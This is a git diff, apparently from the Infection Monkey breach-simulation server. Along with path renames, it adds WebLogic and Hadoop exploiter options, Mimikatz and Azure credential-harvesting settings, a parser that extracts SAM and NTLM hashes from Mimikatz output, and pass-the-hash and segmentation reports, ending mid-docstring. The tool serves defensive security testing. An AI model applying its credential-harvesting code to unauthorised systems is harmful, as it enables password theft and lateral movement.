b/monkey/monkey_island/cc/environment/environment.py similarity index 90% rename from monkey_island/cc/environment/environment.py rename to monkey/monkey_island/cc/environment/environment.py index 094b9c235..9e89208ef 100644 --- a/monkey_island/cc/environment/environment.py +++ b/monkey/monkey_island/cc/environment/environment.py @@ -13,7 +13,7 @@ ENV_DICT = { def load_env_from_file(): - with open('server_config.json', 'r') as f: + with open('monkey_island/cc/server_config.json', 'r') as f: config_content = f.read() config_json = json.loads(config_content) return config_json['server_config'] diff --git a/monkey_island/cc/environment/standard.py b/monkey/monkey_island/cc/environment/standard.py similarity index 100% rename from monkey_island/cc/environment/standard.py rename to monkey/monkey_island/cc/environment/standard.py diff --git a/monkey_island/cc/island_logger.py b/monkey/monkey_island/cc/island_logger.py similarity index 100% rename from monkey_island/cc/island_logger.py rename to monkey/monkey_island/cc/island_logger.py diff --git a/monkey_island/cc/island_logger_default_config.json b/monkey/monkey_island/cc/island_logger_default_config.json similarity index 96% rename from monkey_island/cc/island_logger_default_config.json rename to monkey/monkey_island/cc/island_logger_default_config.json index e41ca3d9b..34a57b374 100644 --- a/monkey_island/cc/island_logger_default_config.json +++ b/monkey/monkey_island/cc/island_logger_default_config.json @@ -27,7 +27,7 @@ }, "root": { - "level": "INFO", + "level": "DEBUG", "handlers": ["console", "info_file_handler"] } } \ No newline at end of file diff --git a/monkey_island/cc/main.py b/monkey/monkey_island/cc/main.py similarity index 78% rename from monkey_island/cc/main.py rename to monkey/monkey_island/cc/main.py index c1133a9c8..86015b5d4 100644 --- a/monkey_island/cc/main.py +++ b/monkey/monkey_island/cc/main.py @@ -1,17 +1,20 @@ from __future__ import print_function # In python 2.7 import os +import os.path import sys import time import logging BASE_PATH = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) + if BASE_PATH not in sys.path: sys.path.insert(0, BASE_PATH) from cc.island_logger import json_setup_logging # This is here in order to catch EVERYTHING, some functions are being called on imports the log init needs to be on top. -json_setup_logging(default_path='island_logger_default_config.json', default_level=logging.DEBUG) +json_setup_logging(default_path=os.path.join(BASE_PATH, 'cc', 'island_logger_default_config.json'), + default_level=logging.DEBUG) logger = logging.getLogger(__name__) from cc.app import init_app @@ -33,11 +36,11 @@ def main(): app = init_app(mongo_url) if env.is_debug(): - app.run(host='0.0.0.0', debug=True, ssl_context=('server.crt', 'server.key')) + app.run(host='0.0.0.0', debug=True, ssl_context=('monkey_island/cc/server.crt', 'monkey_island/cc/server.key')) else: http_server = HTTPServer(WSGIContainer(app), - ssl_options={'certfile': os.environ.get('SERVER_CRT', 'server.crt'), - 'keyfile': os.environ.get('SERVER_KEY', 'server.key')}) + ssl_options={'certfile': os.environ.get('SERVER_CRT', 'monkey_island/cc/server.crt'), + 'keyfile': os.environ.get('SERVER_KEY', 'monkey_island/cc/server.key')}) http_server.listen(env.get_island_port()) logger.info( 'Monkey Island Server is running on https://{}:{}'.format(local_ip_addresses()[0], env.get_island_port())) diff --git a/monkey_island/cc/resources/__init__.py b/monkey/monkey_island/cc/resources/__init__.py similarity index 100% rename from monkey_island/cc/resources/__init__.py rename to monkey/monkey_island/cc/resources/__init__.py diff --git a/monkey_island/cc/resources/client_run.py b/monkey/monkey_island/cc/resources/client_run.py similarity index 100% rename from monkey_island/cc/resources/client_run.py rename to monkey/monkey_island/cc/resources/client_run.py diff --git a/monkey_island/cc/resources/edge.py b/monkey/monkey_island/cc/resources/edge.py similarity index 100% rename from monkey_island/cc/resources/edge.py rename to monkey/monkey_island/cc/resources/edge.py diff --git a/monkey_island/cc/resources/island_logs.py b/monkey/monkey_island/cc/resources/island_logs.py similarity index 100% rename from monkey_island/cc/resources/island_logs.py rename to monkey/monkey_island/cc/resources/island_logs.py diff --git a/monkey_island/cc/resources/local_run.py b/monkey/monkey_island/cc/resources/local_run.py similarity index 92% rename from monkey_island/cc/resources/local_run.py rename to monkey/monkey_island/cc/resources/local_run.py index 7b8965e1e..6e7d44cb9 100644 --- a/monkey_island/cc/resources/local_run.py +++ b/monkey/monkey_island/cc/resources/local_run.py @@ -26,8 +26,8 @@ def run_local_monkey(): if not result: return False, "OS Type not found" - monkey_path = os.path.join('binaries', result['filename']) - target_path = os.path.join(os.getcwd(), result['filename']) + monkey_path = os.path.join(os.getcwd(), 'monkey_island', 'cc', 'binaries', result['filename']) + target_path = os.path.join(os.getcwd(), 'monkey_island', result['filename']) # copy the executable to temp path (don't run the monkey from its current location as it may delete itself) try: diff --git a/monkey_island/cc/resources/log.py b/monkey/monkey_island/cc/resources/log.py similarity index 100% rename from monkey_island/cc/resources/log.py rename to monkey/monkey_island/cc/resources/log.py diff --git a/monkey_island/cc/resources/monkey.py b/monkey/monkey_island/cc/resources/monkey.py similarity index 100% rename from monkey_island/cc/resources/monkey.py rename to monkey/monkey_island/cc/resources/monkey.py diff --git a/monkey_island/cc/resources/monkey_configuration.py b/monkey/monkey_island/cc/resources/monkey_configuration.py similarity index 78% rename from monkey_island/cc/resources/monkey_configuration.py rename to monkey/monkey_island/cc/resources/monkey_configuration.py index 6dab8dddb..7032ba643 100644 --- a/monkey_island/cc/resources/monkey_configuration.py +++ b/monkey/monkey_island/cc/resources/monkey_configuration.py @@ -1,7 +1,7 @@ import json import flask_restful -from flask import request, jsonify +from flask import request, jsonify, abort from cc.auth import jwt_required from cc.services.config import ConfigService @@ -20,5 +20,6 @@ class MonkeyConfiguration(flask_restful.Resource): if 'reset' in config_json: ConfigService.reset_config() else: - ConfigService.update_config(config_json, should_encrypt=True) + if not ConfigService.update_config(config_json, should_encrypt=True): + abort(400) return self.get() diff --git a/monkey_island/cc/resources/monkey_download.py b/monkey/monkey_island/cc/resources/monkey_download.py similarity index 93% rename from monkey_island/cc/resources/monkey_download.py rename to monkey/monkey_island/cc/resources/monkey_download.py index acf92b558..305d8c6e9 100644 --- a/monkey_island/cc/resources/monkey_download.py +++ b/monkey/monkey_island/cc/resources/monkey_download.py @@ -1,15 +1,14 @@ -import logging import json - +import logging import os -from flask import request, send_from_directory + import flask_restful +from flask import request, send_from_directory __author__ = 'Barak' logger = logging.getLogger(__name__) - MONKEY_DOWNLOADS = [ { 'type': 'linux', @@ -81,7 +80,8 @@ class MonkeyDownload(flask_restful.Resource): result = get_monkey_executable(host_os.get('type'), host_os.get('machine')) if result: - real_path = os.path.join('binaries', result['filename']) + # change resulting from new base path + real_path = os.path.join("monkey_island", "cc", 'binaries', result['filename']) if os.path.isfile(real_path): result['size'] = os.path.getsize(real_path) return result diff --git a/monkey_island/cc/resources/netmap.py b/monkey/monkey_island/cc/resources/netmap.py similarity index 100% rename from monkey_island/cc/resources/netmap.py rename to monkey/monkey_island/cc/resources/netmap.py diff --git a/monkey_island/cc/resources/node.py b/monkey/monkey_island/cc/resources/node.py similarity index 100% rename from monkey_island/cc/resources/node.py rename to monkey/monkey_island/cc/resources/node.py diff --git a/monkey_island/cc/resources/report.py b/monkey/monkey_island/cc/resources/report.py similarity index 100% rename from monkey_island/cc/resources/report.py rename to monkey/monkey_island/cc/resources/report.py diff --git a/monkey_island/cc/resources/root.py b/monkey/monkey_island/cc/resources/root.py similarity index 100% rename from monkey_island/cc/resources/root.py rename to monkey/monkey_island/cc/resources/root.py diff --git a/monkey_island/cc/resources/telemetry.py b/monkey/monkey_island/cc/resources/telemetry.py similarity index 94% rename from monkey_island/cc/resources/telemetry.py rename to monkey/monkey_island/cc/resources/telemetry.py index 052b8a045..0db3b0eb4 100644 --- a/monkey_island/cc/resources/telemetry.py +++ b/monkey/monkey_island/cc/resources/telemetry.py @@ -1,6 +1,5 @@ import json import logging -import traceback import copy from datetime import datetime @@ -10,10 +9,12 @@ from flask import request from cc.auth import jwt_required from cc.database import mongo +from cc.services import mimikatz_utils from cc.services.config import ConfigService from cc.services.edge import EdgeService from cc.services.node import NodeService from cc.encryptor import encryptor +from cc.services.wmi_handler import WMIHandler __author__ = 'Barak' @@ -170,6 +171,8 @@ class Telemetry(flask_restful.Resource): @staticmethod def process_system_info_telemetry(telemetry_json): + users_secrets = {} + monkey_id = NodeService.get_monkey_by_guid(telemetry_json['monkey_guid']).get('_id') if 'ssh_info' in telemetry_json['data']: ssh_info = telemetry_json['data']['ssh_info'] Telemetry.encrypt_system_info_ssh_keys(ssh_info) @@ -182,6 +185,12 @@ class Telemetry(flask_restful.Resource): Telemetry.encrypt_system_info_creds(creds) Telemetry.add_system_info_creds_to_config(creds) Telemetry.replace_user_dot_with_comma(creds) + if 'mimikatz' in telemetry_json['data']: + users_secrets = mimikatz_utils.MimikatzSecrets.\ + extract_secrets_from_mimikatz(telemetry_json['data'].get('mimikatz', '')) + if 'wmi' in telemetry_json['data']: + wmi_handler = WMIHandler(monkey_id, telemetry_json['data']['wmi'], users_secrets) + wmi_handler.process_and_handle_wmi_info() @staticmethod def add_ip_to_ssh_keys(ip, ssh_info): diff --git a/monkey_island/cc/resources/telemetry_feed.py b/monkey/monkey_island/cc/resources/telemetry_feed.py similarity index 100% rename from monkey_island/cc/resources/telemetry_feed.py rename to monkey/monkey_island/cc/resources/telemetry_feed.py diff --git a/monkey_island/cc/server_config.json b/monkey/monkey_island/cc/server_config.json similarity index 100% rename from monkey_island/cc/server_config.json rename to monkey/monkey_island/cc/server_config.json diff --git a/monkey_island/cc/services/__init__.py b/monkey/monkey_island/cc/services/__init__.py similarity index 100% rename from monkey_island/cc/services/__init__.py rename to monkey/monkey_island/cc/services/__init__.py diff --git a/monkey_island/cc/services/config.py b/monkey/monkey_island/cc/services/config.py similarity index 94% rename from monkey_island/cc/services/config.py rename to monkey/monkey_island/cc/services/config.py index 8781f2b21..64b359f61 100644 --- a/monkey_island/cc/services/config.py +++ b/monkey/monkey_island/cc/services/config.py @@ -86,6 +86,20 @@ SCHEMA = { "Struts2Exploiter" ], "title": "Struts2 Exploiter" + }, + { + "type": "string", + "enum": [ + "WebLogicExploiter" + ], + "title": "Oracle Web Logic Exploiter" + }, + { + "type": "string", + "enum": [ + "HadoopExploiter" + ], + "title": "Hadoop/Yarn Exploiter" } ] }, @@ -236,6 +250,31 @@ SCHEMA = { " Examples: \"192.168.0.1\", \"192.168.0.5-192.168.0.20\", \"192.168.0.5/24\"" } } + }, + "network_analysis": { + "title": "Network Analysis", + "type": "object", + "properties": { + "inaccessible_subnets": { + "title": "Network segmentation testing", + "type": "array", + "uniqueItems": True, + "items": { + "type": "string" + }, + "default": [ + ], + "description": + "Test for network segmentation by providing a list of" + " subnets that should NOT be accessible to each other." + " For example, given the following configuration:" + " '10.0.0.0/24, 11.0.0.2/32, 12.2.3.0/24'" + " a Monkey running on 10.0.0.5 will try to access machines in the following" + " subnets: 11.0.0.2/32, 12.2.3.0/24." + " An alert on successful connections will be shown in the report" + " Additional subnet formats include: 13.0.0.1, 13.0.0.1-13.0.0.5" + } + } } } }, @@ -279,6 +318,31 @@ SCHEMA = { } } }, + "system_info": { + "title": "System info", + "type": "object", + "properties": { + "extract_azure_creds": { + "title": "Harvest Azure Credentials", + "type": "boolean", + "default": True, + "description": + "Determine if the Monkey should try to harvest password credentials from Azure VMs" + }, + "collect_system_info": { + "title": "Collect system info", + "type": "boolean", + "default": True, + "description": "Determines whether to collect system info" + }, + "should_use_mimikatz": { + "title": "Should use Mimikatz", + "type": "boolean", + "default": True, + "description": "Determines whether to use Mimikatz" + }, + } + }, "life_cycle": { "title": "Life cycle", "type": "object", @@ -339,12 +403,6 @@ SCHEMA = { "description": "The name of the mutex used to determine whether the monkey is already running" }, - "collect_system_info": { - "title": "Collect system info", - "type": "boolean", - "default": True, - "description": "Determines whether to collect system info" - }, "keep_tunnel_open_time": { "title": "Keep tunnel open time", "type": "integer", @@ -536,26 +594,6 @@ SCHEMA = { "description": "List of SSH key pairs to use, when trying to ssh into servers" } } - }, - "systemInfo": { - "title": "System collection", - "type": "object", - "properties": { - "mimikatz_dll_name": { - "title": "Mimikatz DLL name", - "type": "string", - "default": "mk.dll", - "description": - "Name of Mimikatz DLL (should be the same as in the monkey's pyinstaller spec file)" - }, - "extract_azure_creds": { - "title": "Harvest Azure Credentials", - "type": "boolean", - "default": True, - "description": - "Determine if the Monkey should try to harvest password credentials from Azure VMs" - } - } } } }, @@ -626,7 +664,9 @@ SCHEMA = { "ShellShockExploiter", "SambaCryExploiter", "ElasticGroovyExploiter", - "Struts2Exploiter" + "Struts2Exploiter", + "WebLogicExploiter", + "HadoopExploiter" ], "description": "Determines which exploits to use. " + WARNING_SIGN @@ -761,7 +801,8 @@ SCHEMA = { 80, 8080, 443, - 8008 + 8008, + 7001 ], "description": "List of ports the monkey will check if are being used for HTTP" }, @@ -783,7 +824,8 @@ SCHEMA = { 443, 8008, 3306, - 9200 + 9200, + 7001 ], "description": "List of TCP ports the monkey will check whether they're open" }, @@ -935,9 +977,14 @@ class ConfigService: @staticmethod def update_config(config_json, should_encrypt): if should_encrypt: - ConfigService.encrypt_config(config_json) + try: + ConfigService.encrypt_config(config_json) + except KeyError as e: + logger.error('Bad configuration file was submitted.') + return False mongo.db.config.update({'name': 'newconfig'}, {"$set": config_json}, upsert=True) logger.info('monkey config was updated') + return True @staticmethod def init_default_config(): diff --git a/monkey_island/cc/services/edge.py b/monkey/monkey_island/cc/services/edge.py similarity index 100% rename from monkey_island/cc/services/edge.py rename to monkey/monkey_island/cc/services/edge.py diff --git a/monkey/monkey_island/cc/services/groups_and_users_consts.py b/monkey/monkey_island/cc/services/groups_and_users_consts.py new file mode 100644 index 000000000..0e22a34ba --- /dev/null +++ b/monkey/monkey_island/cc/services/groups_and_users_consts.py @@ -0,0 +1,6 @@ +"""This file will include consts values regarding the groupsandusers collection""" + +__author__ = 'maor.rayzin' + +USERTYPE = 1 +GROUPTYPE = 2 diff --git a/monkey_island/cc/services/island_logs.py b/monkey/monkey_island/cc/services/island_logs.py similarity index 100% rename from monkey_island/cc/services/island_logs.py rename to monkey/monkey_island/cc/services/island_logs.py diff --git a/monkey_island/cc/services/log.py b/monkey/monkey_island/cc/services/log.py similarity index 100% rename from monkey_island/cc/services/log.py rename to monkey/monkey_island/cc/services/log.py diff --git a/monkey/monkey_island/cc/services/mimikatz_utils.py b/monkey/monkey_island/cc/services/mimikatz_utils.py new file mode 100644 index 000000000..9aca91a59 --- /dev/null +++ b/monkey/monkey_island/cc/services/mimikatz_utils.py @@ -0,0 +1,52 @@ + +__author__ = 'maor.rayzin' + + +class MimikatzSecrets(object): + + def __init__(self): + # Static class + pass + + @staticmethod + def extract_sam_secrets(mim_string, users_dict): + users_secrets = mim_string.split("\n42.")[1].split("\nSAMKey :")[1].split("\n\n")[1:] + + if mim_string.count("\n42.") != 2: + return {} + + for sam_user_txt in users_secrets: + sam_user = dict([map(unicode.strip, line.split(":")) for line in + filter(lambda l: l.count(":") == 1, sam_user_txt.splitlines())]) + username = sam_user.get("User") + users_dict[username] = {} + + ntlm = sam_user.get("NTLM") + if not ntlm or "[hashed secret]" not in ntlm: + continue + + users_dict[username]['SAM'] = ntlm.replace("[hashed secret]", "").strip() + + @staticmethod + def extract_ntlm_secrets(mim_string, users_dict): + + if mim_string.count("\n42.") != 2: + return {} + + ntds_users = mim_string.split("\n42.")[2].split("\nRID :")[1:] + + for ntds_user_txt in ntds_users: + user = ntds_user_txt.split("User :")[1].splitlines()[0].replace("User :", "").strip() + ntlm = ntds_user_txt.split("* Primary\n NTLM :")[1].splitlines()[0].replace("NTLM :", "").strip() + ntlm = ntlm.replace("[hashed secret]", "").strip() + users_dict[user] = {} + if ntlm: + users_dict[user]['ntlm'] = ntlm + + @staticmethod + def extract_secrets_from_mimikatz(mim_string): + users_dict = {} + MimikatzSecrets.extract_sam_secrets(mim_string, users_dict) + MimikatzSecrets.extract_ntlm_secrets(mim_string, users_dict) + + return users_dict diff --git a/monkey_island/cc/services/node.py b/monkey/monkey_island/cc/services/node.py similarity index 96% rename from monkey_island/cc/services/node.py rename to monkey/monkey_island/cc/services/node.py index 47cd9cd21..072917974 100644 --- a/monkey_island/cc/services/node.py +++ b/monkey/monkey_island/cc/services/node.py @@ -97,6 +97,11 @@ class NodeService: def get_monkey_label_by_id(monkey_id): return NodeService.get_monkey_label(NodeService.get_monkey_by_id(monkey_id)) + @staticmethod + def get_monkey_critical_services(monkey_id): + critical_services = mongo.db.monkey.find_one({'_id': monkey_id}, {'critical_services': 1}).get('critical_services', []) + return critical_services + @staticmethod def get_monkey_label(monkey): label = monkey["hostname"] + " : " + monkey["ip_addresses"][0] @@ -320,3 +325,7 @@ class NodeService: @staticmethod def get_node_hostname(node): return node['hostname'] if 'hostname' in node else node['os']['version'] + + @staticmethod + def get_hostname_by_id(node_id): + return NodeService.get_node_hostname(mongo.db.monkey.find_one({'_id': node_id}, {'hostname': 1})) diff --git a/monkey/monkey_island/cc/services/pth_report.py b/monkey/monkey_island/cc/services/pth_report.py new file mode 100644 index 000000000..3d7375dc1 --- /dev/null +++ b/monkey/monkey_island/cc/services/pth_report.py @@ -0,0 +1,285 @@ +from itertools import product + +from cc.database import mongo +from bson import ObjectId + +from cc.services.groups_and_users_consts import USERTYPE +from cc.services.node import NodeService + +__author__ = 'maor.rayzin' + + +class PTHReportService(object): + """ + A static class supplying utils to produce a report based on the PTH related information + gathered via mimikatz and wmi. + """ + + @staticmethod + def __dup_passwords_mongoquery(): + """ + This function builds and queries the mongoDB for users that are using the same passwords. this is done + by comparing the NTLM hash found for each user by mimikatz. + :return: + A list of mongo documents (dicts in python) that look like this: + { + '_id': The NTLM hash, + 'count': How many users share it. + 'Docs': the name, domain name, _Id, and machine_id of the users + } + """ + + + pipeline = [ + {"$match": { + 'NTLM_secret': { + "$exists": "true", "$ne": None} + }}, + { + "$group": { + "_id": { + "NTLM_secret": "$NTLM_secret"}, + "count": {"$sum": 1}, + "Docs": {"$push": {'_id': "$_id", 'name': '$name', 'domain_name': '$domain_name', + 'machine_id': '$machine_id'}} + }}, + {'$match': {'count': {'$gt': 1}}} + ] + return mongo.db.groupsandusers.aggregate(pipeline) + + @staticmethod + def __get_admin_on_machines_format(admin_on_machines, domain_name): + """ + This function finds for each admin user, which machines its an admin of, and compile them to a list. + :param admin_on_machines: A list of "monkey" documents "_id"s + :param domain_name: The admins' domain name + :return: + A list of formatted machines names *domain*\*hostname*, to use in shared admins issues. + """ + machines = mongo.db.monkey.find({'_id': {'$in': admin_on_machines}}, {'hostname': 1}) + return [domain_name + '\\' + i['hostname'] for i in list(machines)] + + @staticmethod + def __strong_users_on_crit_query(): + """ + This function build and query the mongoDB for users that mimikatz was able to find cached NTLM hashes and + are administrators on machines with services predefined as important services thus making these machines + critical. + :return: + A list of said users + """ + pipeline = [ + { + '$unwind': '$admin_on_machines' + }, + { + '$match': {'type': USERTYPE, 'domain_name': {'$ne': None}} + }, + { + '$lookup': + { + 'from': 'monkey', + 'localField': 'admin_on_machines', + 'foreignField': '_id', + 'as': 'critical_machine' + } + }, + { + '$match': {'critical_machine.critical_services': {'$ne': []}} + }, + { + '$unwind': '$critical_machine' + } + ] + return mongo.db.groupsandusers.aggregate(pipeline) + + @staticmethod + def __build_dup_user_label(i): + return i['hostname'] + '\\' + i['username'] if i['hostname'] else i['domain_name'] + '\\' + i['username'] + + @staticmethod + def get_duplicated_passwords_nodes(): + users_cred_groups = [] + docs = PTHReportService.__dup_passwords_mongoquery() + for doc in docs: + users_list = [ + { + 'username': user['name'], + 'domain_name': user['domain_name'], + 'hostname': NodeService.get_hostname_by_id(ObjectId(user['machine_id'])) if user['machine_id'] else None + } for user in doc['Docs'] + ] + users_cred_groups.append({'cred_groups': users_list}) + + return users_cred_groups + + @staticmethod + def get_duplicated_passwords_issues(): + user_groups = PTHReportService.get_duplicated_passwords_nodes() + issues = [] + for group in user_groups: + user_info = group['cred_groups'][0] + issues.append( + { + 'type': 'shared_passwords_domain' if user_info['domain_name'] else 'shared_passwords', + 'machine': user_info['hostname'] if user_info['hostname'] else user_info['domain_name'], + 'shared_with': [PTHReportService.__build_dup_user_label(i) for i in group['cred_groups']], + 'is_local': False if user_info['domain_name'] else True + } + ) + return issues + + @staticmethod + def get_shared_admins_nodes(): + + # This mongo queries users the best solution to figure out if an array + # object has at least two objects in it, by making sure any value exists in the array index 1. + # Excluding the name Administrator - its spamming the lists and not a surprise the domain Administrator account + # is shared. + admins = mongo.db.groupsandusers.find({'type': USERTYPE, 'name': {'$ne': 'Administrator'}, + 'admin_on_machines.1': {'$exists': True}}, + {'admin_on_machines': 1, 'name': 1, 'domain_name': 1}) + return [ + { + 'name': admin['name'], + 'domain_name': admin['domain_name'], + 'admin_on_machines': PTHReportService.__get_admin_on_machines_format(admin['admin_on_machines'], admin['domain_name']) + } for admin in admins + ] + + @staticmethod + def get_shared_admins_issues(): + admins_info = PTHReportService.get_shared_admins_nodes() + return [ + { + 'is_local': False, + 'type': 'shared_admins_domain', + 'machine': admin['domain_name'], + 'username': admin['domain_name'] + '\\' + admin['name'], + 'shared_machines': admin['admin_on_machines'], + } + for admin in admins_info] + + @staticmethod + def get_strong_users_on_critical_machines_nodes(): + + crit_machines = {} + docs = PTHReportService.__strong_users_on_crit_query() + + for doc in docs: + hostname = str(doc['critical_machine']['hostname']) + if hostname not in crit_machines: + crit_machines[hostname] = { + 'threatening_users': [], + 'critical_services': doc['critical_machine']['critical_services'] + } + crit_machines[hostname]['threatening_users'].append( + {'name': str(doc['domain_name']) + '\\' + str(doc['name']), + 'creds_location': doc['secret_location']}) + return crit_machines + + @staticmethod + def get_strong_users_on_crit_issues(): + crit_machines = PTHReportService.get_strong_users_on_critical_machines_nodes() + + return [ + { + 'type': 'strong_users_on_crit', + 'machine': machine, + 'services': crit_machines[machine].get('critical_services'), + 'threatening_users': [i['name'] for i in crit_machines[machine]['threatening_users']] + } for machine in crit_machines + ] + + @staticmethod + def get_strong_users_on_crit_details(): + user_details = {} + crit_machines = PTHReportService.get_strong_users_on_critical_machines_nodes() + for machine in crit_machines: + for user in crit_machines[machine]['threatening_users']: + username = user['name'] + if username not in user_details: + user_details[username] = { + 'machines': [], + 'services': [] + } + user_details[username]['machines'].append(machine) + user_details[username]['services'] += crit_machines[machine]['critical_services'] + + return [ + { + 'username': user, + 'machines': user_details[user]['machines'], + 'services_names': user_details[user]['services'] + } for user in user_details + ] + + @staticmethod + def generate_map_nodes(): + monkeys = mongo.db.monkey.find({}, {'_id': 1, 'hostname': 1, 'critical_services': 1, 'ip_addresses': 1}) + + return [ + { + 'id': monkey['_id'], + 'label': '{0} : {1}'.format(monkey['hostname'], monkey['ip_addresses'][0]), + 'group': 'critical' if monkey.get('critical_services', []) else 'normal', + 'services': monkey.get('critical_services', []), + 'hostname': monkey['hostname'] + } for monkey in monkeys + ] + + @staticmethod + def generate_edges(): + edges_list = [] + + comp_users = mongo.db.groupsandusers.find( + { + 'admin_on_machines': {'$ne': []}, + 'secret_location': {'$ne': []}, + 'type': USERTYPE + }, + { + 'admin_on_machines': 1, 'secret_location': 1 + } + ) + + for user in comp_users: + # A list comp, to get all unique pairs of attackers and victims. + for pair in [pair for pair in product(user['admin_on_machines'], user['secret_location']) + if pair[0] != pair[1]]: + edges_list.append( + { + 'from': pair[1], + 'to': pair[0], + 'id': str(pair[1]) + str(pair[0]) + } + ) + return edges_list + + @staticmethod + def get_pth_map(): + return { + 'nodes': PTHReportService.generate_map_nodes(), + 'edges': PTHReportService.generate_edges() + } + + @staticmethod + def get_report(): + pth_map = PTHReportService.get_pth_map() + PTHReportService.get_strong_users_on_critical_machines_nodes() + report = \ + { + 'report_info': + { + 'strong_users_table': PTHReportService.get_strong_users_on_crit_details() + }, + + 'pthmap': + { + 'nodes': pth_map.get('nodes'), + 'edges': pth_map.get('edges') + } + } + + return report + diff --git a/monkey_island/cc/services/report.py b/monkey/monkey_island/cc/services/report.py similarity index 64% rename from monkey_island/cc/services/report.py rename to monkey/monkey_island/cc/services/report.py index 369b29c25..fe8928a56 100644 --- a/monkey_island/cc/services/report.py +++ b/monkey/monkey_island/cc/services/report.py @@ -1,3 +1,6 @@ +import itertools +import functools + import ipaddress import logging from enum import Enum @@ -9,6 +12,8 @@ from cc.services.config import ConfigService from cc.services.edge import EdgeService from cc.services.node import NodeService from cc.utils import local_ip_addresses, get_subnets +from pth_report import PTHReportService +from common.network.network_range import NetworkRange __author__ = "itay.mizeretz" @@ -30,7 +35,9 @@ class ReportService: 'ElasticGroovyExploiter': 'Elastic Groovy Exploiter', 'Ms08_067_Exploiter': 'Conficker Exploiter', 'ShellShockExploiter': 'ShellShock Exploiter', - 'Struts2Exploiter': 'Struts2 Exploiter' + 'Struts2Exploiter': 'Struts2 Exploiter', + 'WebLogicExploiter': 'Oracle WebLogic Exploiter', + 'HadoopExploiter': 'Hadoop/Yarn Exploiter' } class ISSUES_DICT(Enum): @@ -43,10 +50,15 @@ class ReportService: AZURE = 6 STOLEN_SSH_KEYS = 7 STRUTS2 = 8 + WEBLOGIC = 9, + HADOOP = 10, + PTH_CRIT_SERVICES_ACCESS = 11 class WARNINGS_DICT(Enum): CROSS_SEGMENT = 0 TUNNEL = 1 + SHARED_LOCAL_ADMIN = 2 + SHARED_PASSWORDS = 3 @staticmethod def get_first_monkey_time(): @@ -98,25 +110,28 @@ class ReportService: @staticmethod def get_scanned(): + + formatted_nodes = [] + nodes = \ [NodeService.get_displayed_node_by_id(node['_id'], True) for node in mongo.db.node.find({}, {'_id': 1})] \ + [NodeService.get_displayed_node_by_id(monkey['_id'], True) for monkey in mongo.db.monkey.find({}, {'_id': 1})] - nodes = [ - { - 'label': node['label'], - 'ip_addresses': node['ip_addresses'], - 'accessible_from_nodes': - (x['hostname'] for x in - (NodeService.get_displayed_node_by_id(edge['from'], True) - for edge in EdgeService.get_displayed_edges_by_to(node['id'], True))), - 'services': node['services'] - } - for node in nodes] + for node in nodes: + formatted_nodes.append( + { + 'label': node['label'], + 'ip_addresses': node['ip_addresses'], + 'accessible_from_nodes': + (x['hostname'] for x in + (NodeService.get_displayed_node_by_id(edge['from'], True) + for edge in EdgeService.get_displayed_edges_by_to(node['id'], True))), + 'services': node['services'] + }) logger.info('Scanned nodes generated for reporting') - return nodes + return formatted_nodes @staticmethod def get_exploited(): @@ -155,13 +170,14 @@ class ReportService: origin = NodeService.get_monkey_by_guid(telem['monkey_guid'])['hostname'] for user in monkey_creds: for pass_type in monkey_creds[user]: - creds.append( + cred_row = \ { 'username': user.replace(',', '.'), 'type': PASS_TYPE_DICT[pass_type], 'origin': origin } - ) + if cred_row not in creds: + creds.append(cred_row) logger.info('Stolen creds generated for reporting') return creds @@ -298,6 +314,18 @@ class ReportService: processed_exploit['type'] = 'struts2' return processed_exploit + @staticmethod + def process_weblogic_exploit(exploit): + processed_exploit = ReportService.process_general_exploit(exploit) + processed_exploit['type'] = 'weblogic' + return processed_exploit + + @staticmethod + def process_hadoop_exploit(exploit): + processed_exploit = ReportService.process_general_exploit(exploit) + processed_exploit['type'] = 'hadoop' + return processed_exploit + @staticmethod def process_exploit(exploit): exploiter_type = exploit['data']['exploiter'] @@ -310,7 +338,9 @@ class ReportService: 'ElasticGroovyExploiter': ReportService.process_elastic_exploit, 'Ms08_067_Exploiter': ReportService.process_conficker_exploit, 'ShellShockExploiter': ReportService.process_shellshock_exploit, - 'Struts2Exploiter': ReportService.process_struts2_exploit + 'Struts2Exploiter': ReportService.process_struts2_exploit, + 'WebLogicExploiter': ReportService.process_weblogic_exploit, + 'HadoopExploiter': ReportService.process_hadoop_exploit } return EXPLOIT_PROCESS_FUNCTION_DICT[exploiter_type](exploit) @@ -340,7 +370,7 @@ class ReportService: ] @staticmethod - def get_cross_segment_issues(): + def get_island_cross_segment_issues(): issues = [] island_ips = local_ip_addresses() for monkey in mongo.db.monkey.find({'tunnel': {'$exists': False}}, {'tunnel': 1, 'guid': 1, 'hostname': 1}): @@ -355,23 +385,186 @@ class ReportService: break if not found_good_ip: issues.append( - {'type': 'cross_segment', 'machine': monkey['hostname'], + {'type': 'island_cross_segment', 'machine': monkey['hostname'], 'networks': [str(subnet) for subnet in monkey_subnets], 'server_networks': [str(subnet) for subnet in get_subnets()]} ) return issues + @staticmethod + def get_ip_in_src_and_not_in_dst(ip_addresses, source_subnet, target_subnet): + """ + Finds an IP address in ip_addresses which is in source_subnet but not in target_subnet. + :param ip_addresses: List of IP addresses to test. + :param source_subnet: Subnet to want an IP to not be in. + :param target_subnet: Subnet we want an IP to be in. + :return: + """ + for ip_address in ip_addresses: + if target_subnet.is_in_range(ip_address): + return None + for ip_address in ip_addresses: + if source_subnet.is_in_range(ip_address): + return ip_address + return None + + @staticmethod + def get_cross_segment_issues_of_single_machine(source_subnet_range, target_subnet_range): + """ + Gets list of cross segment issues of a single machine. Meaning a machine has an interface for each of the + subnets. + :param source_subnet_range: The subnet range which shouldn't be able to access target_subnet. + :param target_subnet_range: The subnet range which shouldn't be accessible from source_subnet. + :return: + """ + cross_segment_issues = [] + + for monkey in mongo.db.monkey.find({}, {'ip_addresses': 1, 'hostname': 1}): + ip_in_src = None + ip_in_dst = None + for ip_addr in monkey['ip_addresses']: + if source_subnet_range.is_in_range(unicode(ip_addr)): + ip_in_src = ip_addr + break + + # No point searching the dst subnet if there are no IPs in src subnet. + if not ip_in_src: + continue + + for ip_addr in monkey['ip_addresses']: + if target_subnet_range.is_in_range(unicode(ip_addr)): + ip_in_dst = ip_addr + break + + if ip_in_dst: + cross_segment_issues.append( + { + 'source': ip_in_src, + 'hostname': monkey['hostname'], + 'target': ip_in_dst, + 'services': None, + 'is_self': True + }) + + return cross_segment_issues + + @staticmethod + def get_cross_segment_issues_per_subnet_pair(scans, source_subnet, target_subnet): + """ + Gets list of cross segment issues from source_subnet to target_subnet. + :param scans: List of all scan telemetry entries. Must have monkey_guid, ip_addr and services. + This should be a PyMongo cursor object. + :param source_subnet: The subnet which shouldn't be able 